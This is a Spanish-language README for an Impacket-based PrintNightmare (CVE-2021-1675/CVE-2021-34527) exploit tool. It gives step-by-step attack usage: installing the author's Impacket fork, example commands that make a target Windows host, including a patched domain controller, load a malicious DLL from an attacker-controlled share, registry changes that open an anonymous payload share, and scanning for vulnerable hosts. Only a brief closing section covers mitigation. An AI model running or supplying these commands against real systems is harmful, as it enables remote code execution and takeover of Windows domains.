CVE-2021-1675 / CVE-2021-34527

Implementación en Impacket del PoC de PrintNightmare creado originalmente por Zhiniang Peng (@edwardzpeng) y Xuefeng Li (@lxf02942370)

Probado en un controlador de dominio 2019 completamente parcheado

Ejecutar DLLs maliciosas de forma remota o local

Actualización del parche

Microsoft ha publicado un parche para mitigar estos ataques, pero si estos valores están presentes en una máquina, la máquina seguirá siendo vulnerable

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

Instalación

Antes de ejecutar el exploit necesitas instalar mi versión de Impacket y después de eso estás listo

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

Implementación de CVE-2021-1675.

positional arguments:
  target                [[dominio/]usuario[:contraseña]@]<nombre o dirección del objetivo>
  share                 Ruta al DLL. Ejemplo '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            muestra este mensaje de ayuda y sale

authentication:
  -hashes LMHASH:NTHASH
                        Hashes NTLM, el formato es LMHASH:NTHASH

connection:
  -target-ip ip address
                        Dirección IP de la máquina objetivo. Si se omite, se usará lo que se especificó como objetivo. Esto es útil cuando el objetivo es el nombre NetBIOS
                        y no se puede resolver
  -port [destination port]
                        Puerto de destino para conectarse al servidor SMB

Ejemplo;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

Configuración de SMB

La forma más fácil de alojar payloads es usar samba y modificar /etc/samba/smb.conf para permitir acceso anónimo

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Desde Windows también es posible

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #Esto sobrescribirá NullSessionPipes existente
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reiniciar

Escaneo

Podemos usar rpcdump.py de impacket para escanear posibles hosts vulnerables; si devuelve un valor, podría ser vulnerable

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

Mitigación

Deshabilitar el servicio Spooler

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f